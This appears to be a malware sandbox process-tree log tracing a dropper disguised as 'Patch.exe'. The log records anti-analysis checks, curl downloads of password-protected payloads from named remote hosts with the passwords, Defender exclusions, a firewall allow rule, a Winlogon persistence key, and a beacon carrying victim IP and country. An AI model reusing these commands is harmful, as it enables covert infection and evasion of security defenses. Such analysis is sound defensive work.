  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.1.1003365120\871520719" -parentBuildID 20221007134813 -prefsHandle 2344 -prefMapHandle 2352 -prefsLen 20785 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0e5ad61-f175-47ed-85a6-655752e818e2} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 2388 18b44272558 socket
  2⤵
  PID:1548
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.2.1119239792\1360197314" -childID 1 -isForBrowser -prefsHandle 2940 -prefMapHandle 2908 -prefsLen 20888 -prefMapSize 233444 -jsInitHandle 1428 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c10e4474-eafc-4c8b-a659-3e795ee8c03b} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 2964 18b54a84e58 tab
  2⤵
  PID:1324
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.3.1952947254\132590240" -childID 2 -isForBrowser -prefsHandle 2732 -prefMapHandle 3448 -prefsLen 26066 -prefMapSize 233444 -jsInitHandle 1428 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {09786fa0-4a68-4ee1-b993-5d295ec935f0} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 2552 18b4425ee58 tab
  2⤵
  PID:5256
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.4.1490029455\1470102729" -childID 3 -isForBrowser -prefsHandle 3800 -prefMapHandle 3804 -prefsLen 26066 -prefMapSize 233444 -jsInitHandle 1428 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec866733-0f8f-477c-8234-5079b04f1799} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 3848 18b50cbe458 tab
  2⤵
  PID:5392
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.5.927758261\1176358983" -childID 4 -isForBrowser -prefsHandle 4792 -prefMapHandle 4972 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1428 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70fda1e6-b5fe-4dcb-8dfa-e15b0a558317} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 3232 18b4422ff58 tab
  2⤵
  PID:5228
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.6.1721668488\969654099" -childID 5 -isForBrowser -prefsHandle 3220 -prefMapHandle 3612 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1428 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5e11982-5e86-4640-a38d-c6c7a2099d67} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 5004 18b4425c458 tab
  2⤵
  PID:5252
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1512.7.1311870065\1634249002" -childID 6 -isForBrowser -prefsHandle 5276 -prefMapHandle 5280 -prefsLen 26206 -prefMapSize 233444 -jsInitHandle 1428 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d01e2b1-0cdc-46d3-a992-70ec98b4764e} 1512 "\\.\pipe\gecko-crash-server-pipe.1512" 5264 18b44271058 tab
  2⤵
  PID:5652

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:5156

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3720 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:8
1⤵
PID:6340

C:\Users\Admin\Desktop\Patch.exe
"C:\Users\Admin\Desktop\Patch.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3112
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\88KXOD5P.bat" "C:\Users\Admin\Desktop\Patch.exe" "
  2⤵
  PID:4240
- - C:\Users\Admin\AppData\Local\Temp\qbE5A10DA.99\7z2201.exe
    "C:\Users\Admin\AppData\Local\Temp\qbE5A10DA.99\7z2201.exe" /S
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Done! "
    3⤵
    PID:976
- - C:\Windows\system32\msg.exe
    msg *
    3⤵
    PID:2132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value
    3⤵
    PID:6256
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_LocalTime Get Day,Month,Year /value
      4⤵
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
    3⤵
    PID:6736
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:4148
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Alu" /s /reg:32
    3⤵
    PID:1576
- - C:\Windows\system32\reg.exe
    reg Add "HKLM\SOFTWARE\Microsoft\Alu" /f /reg:32
    3⤵
    PID:6696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProductName"
    3⤵
    PID:1916
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SystemInformation" /v "SystemProductName"
      4⤵
      PID:3964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"
    3⤵
    PID:4640
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemProductName"
      4⤵
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemManufacturer"
    3⤵
    PID:3740
  - - C:\Windows\system32\reg.exe
      reg query "HKEY_LOCAL_MACHINE\SYSTEM\HardwareConfig\Current" /v "SystemManufacturer"
      4⤵
      PID:6548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq ekrn.exe" /fo csv /nh
    3⤵
    PID:4788
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq ekrn.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:7144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh
    3⤵
    PID:2180
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq QHActiveDefense.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:1100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq avp.exe" /fo csv /nh
    3⤵
    PID:2132
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq avp.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:6268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/ip -k
    3⤵
    PID:7084
  - - C:\Windows\system32\curl.exe
      curl https://ipinfo.io/ip -k
      4⤵
      PID:6256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/country -k
    3⤵
    PID:2412
  - - C:\Windows\system32\curl.exe
      curl https://ipinfo.io/country -k
      4⤵
      PID:6720
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:6692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 7" 1>nul )"
    3⤵
    PID:4020
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 7"
      4⤵
      PID:1460
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:6056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 8" 1>nul )"
    3⤵
    PID:6000
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 8"
      4⤵
      PID:6280
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 8.1" 1>nul )"
    3⤵
    PID:1836
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 8.1"
      4⤵
      PID:6204
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:6828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 10" 1>nul )"
    3⤵
    PID:2344
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 10"
      4⤵
      PID:6276
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get caption
    3⤵
    PID:6020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ( findstr /ilc:"Windows 11" 1>nul )"
    3⤵
    PID:6488
  - - C:\Windows\system32\findstr.exe
      findstr /ilc:"Windows 11"
      4⤵
      PID:2380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://fasttaxi8858.com/parking/drive.php --user-agent "ubertax" -k
    3⤵
    PID:2488
  - - C:\Windows\system32\curl.exe
      curl https://fasttaxi8858.com/parking/drive.php --user-agent "ubertax" -k
      4⤵
      PID:2192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://fasttaxi8858.com/parking/drive.php --user-agent "ubertax" -k
    3⤵
    PID:5092
  - - C:\Windows\system32\curl.exe
      curl https://fasttaxi8858.com/parking/drive.php --user-agent "ubertax" -k
      4⤵
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://fasttaxi8858.com/parking/uber.php --user-agent "ubertax" -k
    3⤵
    PID:2872
  - - C:\Windows\system32\curl.exe
      curl https://fasttaxi8858.com/parking/uber.php --user-agent "ubertax" -k
      4⤵
      PID:1864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl -k https://c.yaridata.com/c01.php --user-agent "c010101"
    3⤵
    PID:6072
  - - C:\Windows\system32\curl.exe
      curl -k https://c.yaridata.com/c01.php --user-agent "c010101"
      4⤵
      PID:3792
- - C:\Windows\system32\curl.exe
    curl -k -o "C:\Users\Admin\AppData\Local\Temp\z.7z" -L "https://z.yaridata.com/z.7z" --user-agent "cnfvp201"
    3⤵
    PID:6840
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\z.7z" -o"C:\Users\Admin\AppData\Local\Temp" -pconfigvpnG2012885838482012ggg -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:6528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\z.bat"
    3⤵
    - Drops file in Windows directory
    PID:6608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://ipinfo.io/country -k
      4⤵
      PID:5600
    - - C:\Windows\system32\curl.exe
        
        curl https://ipinfo.io/country -k
        5⤵
        
        PID:5336
  - - C:\Windows\system32\curl.exe
      curl -k -o "C:\Users\Admin\AppData\Local\Temp\NetFramework3.5.7z" -L -C - "https://z.yaridata.com/v/NetFramework3.5.7z" --user-agent "cnfvp201" --retry 3
      4⤵
      PID:5712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell add-mpPreference -exclusionProcess 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell add-mpPreference -exclusionPath 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2380
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Google"
      4⤵
      Views/modifies file attributes
      PID:5796
  - - C:\Program Files (x86)\7-Zip\7z.exe
      "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\NetFramework3.5.7z" -o"C:\Users\Admin\AppData\Local\Google\Chrome\User Data" -pvdgdfgfHDSzxsHJCXdfdt45rtec5 -y
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetWindowsHookEx
      PID:6756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell start-process -FilePath 'C:\Users\Admin\AppData\Local\Google\Chrome\User Data\VC_redist.x86.exe' -ArgumentList '/quiet /norestart' -NoNewWindow -Wait
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6544
    - - C:\Users\Admin\AppData\Local\Google\Chrome\User Data\VC_redist.x86.exe
        
        "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\VC_redist.x86.exe" /quiet /norestart
        5⤵
        Executes dropped EXE
        
        PID:3636
      - C:\Windows\Temp\{5DC5E796-82E9-48DF-A2BA-5082207578B4}\.cr\VC_redist.x86.exe
        
        "C:\Windows\Temp\{5DC5E796-82E9-48DF-A2BA-5082207578B4}\.cr\VC_redist.x86.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Google\Chrome\User Data\VC_redist.x86.exe" -burn.filehandle.attached=692 -burn.filehandle.self=548 /quiet /norestart
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3956
        
        C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\.be\VC_redist.x86.exe
        
        "C:\Windows\Temp\{C7B7439E-5A10-49C0-8188-D238D98D7F77}\.be\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{977CB621-B268-48D8-A218-233D91CD4A3E} {81660A2C-002A-40EA-8E93-B82AEC2F33DD} 3956
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Modifies registry class
        
        PID:3872
        
        C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe
        
        "C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe" -uninstall -quiet -burn.related.upgrade -burn.ancestors={68c77bab-8435-4d15-ae03-fd4f6e158317} -burn.filehandle.self=1032 -burn.embedded BurnPipe.{89A9B962-0BDD-429F-9E1B-FC159E4C4C81} {2DCAFA07-5F9D-41CB-B92D-2C45831AB04D} 3872
        8⤵
        
        PID:4180
        
        C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe
        
        "C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe" -burn.clean.room="C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe" -burn.filehandle.attached=516 -burn.filehandle.self=536 -uninstall -quiet -burn.related.upgrade -burn.ancestors={68c77bab-8435-4d15-ae03-fd4f6e158317} -burn.filehandle.self=1032 -burn.embedded BurnPipe.{89A9B962-0BDD-429F-9E1B-FC159E4C4C81} {2DCAFA07-5F9D-41CB-B92D-2C45831AB04D} 3872
        9⤵
        Loads dropped DLL
        
        PID:3792
        
        C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe
        
        "C:\ProgramData\Package Cache\{4d8dcf8c-a72a-43e1-9833-c12724db736e}\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{741BE620-1C89-4C4C-9FA6-BFEC7FBA902F} {981C207A-BC33-4A42-808C-7F6077153B93} 3792
        10⤵
        Modifies registry class
        
        PID:2156
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4036
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6740
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6808
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:224
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:520
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4596
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5192
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6548
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3956
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5712
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6448
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1756
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4740
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3272
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:7000
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1092
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5124
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6440
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:224
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:2404
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:208
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6792
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5344
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:7100
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4628
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1484
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1968
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:7052
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:520
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:2760
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6004
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6988
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:2392
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3436
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5304
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6488
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5032
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5196
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6524
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3252
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5312
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4944
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:6808
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1460
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:7160
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3076
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4784
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4304
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5240
  - - C:\Windows\system32\PING.EXE
      ping -n 0 127.0.0.1
      4⤵
      Runs ping.exe
      PID:5184
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\GoogleDrive"
      4⤵
      Views/modifies file attributes
      PID:6472
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="Windows Defender" dir=in action=allow program="C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:6540
  - - C:\Windows\system32\reg.exe
      Reg Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "explorer.exe,wzone.exe \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\wtime.cmd\" wlocale.cmd" /f
      4⤵
      Modifies WinLogon for persistence
      PID:1836
  - - C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe
      "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe" --dhfghghfh
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      PID:7032
    - - C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe
        
        "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Windows Driver Foundation (WDF).exe" -e G47iDc2gxe13YtlCFQQKtkYSBRsvSs9s6xkUwRHk0x+BH/sQgvYtiFAL6ge2o9TdNIlDQZetjYPrbP1Gujy0UsU9sU3GYlntHYXe7LoCOavPEHYQlkBg0Ieak4UD6pbB0t/h9986CRmJm6g/5PqXiMvCPBgHP5hjitLnHpC8oUmPW/85VH5X/d5vt4QXSo+WgWQhUfUx5RdFbS89W4TbFTswmhQHgml3ofmGsIoHXWqUfHrv9N6k66TY8MHjzJ23ys6thC7k+CiN9G5CpgCVAgLbUcEpLGPfrF+5QU5wT9jZJM9QOGAa+aOa+1f/rOFJ
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:3500
  - - C:\Windows\system32\timeout.exe
      timeout /t 3
      4⤵
      Delays execution with timeout.exe
      PID:3928
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\wzone.exe"
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:6224
  - - C:\Windows\system32\curl.exe
      curl -k -L "https://z.yaridata.com/cu/cu.php?ip=191.101.209.39&vos=10&cid=GB&sid=u47016&pid=p2&s=1" --user-agent "cnfvp201"
      4⤵
      PID:6720

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\z.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:6360

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4912

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:1188

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:6184

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\GoogleDrive\GoogleEmail\get.information.googlegmail.ini
1⤵
- Opens file in notepad (likely ransom note)
PID:6524

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1220 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:8
1⤵
PID:2616

C:\Users\Admin\Desktop\Patch.exe
"C:\Users\Admin\Desktop\Patch.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4PBE4HF8.bat" "C:\Users\Admin\Desktop\Patch.exe" "
  2⤵
  PID:6868
- - C:\Users\Admin\AppData\Local\Temp\qbE5F5443.2F\7z2201.exe
    "C:\Users\Admin\AppData\Local\Temp\qbE5F5443.2F\7z2201.exe" /S
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:6644
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\qbE5F5443.2F\uut.7z" -o"C:\Users\Admin\AppData\Roaming\utorrent" -pjkfhkfgjhkHGFGgdjghkdhggd -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:2504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Done! "
    3⤵
    PID:2368
- - C:\Windows\system32\msg.exe
    msg *
    3⤵
    PID:3776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value
    3⤵
    PID:5280
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_LocalTime Get Day,Month,Year /value
      4⤵
      PID:6716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
    3⤵
    PID:6324
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:4472
- - C:\Windows\system32\reg.exe
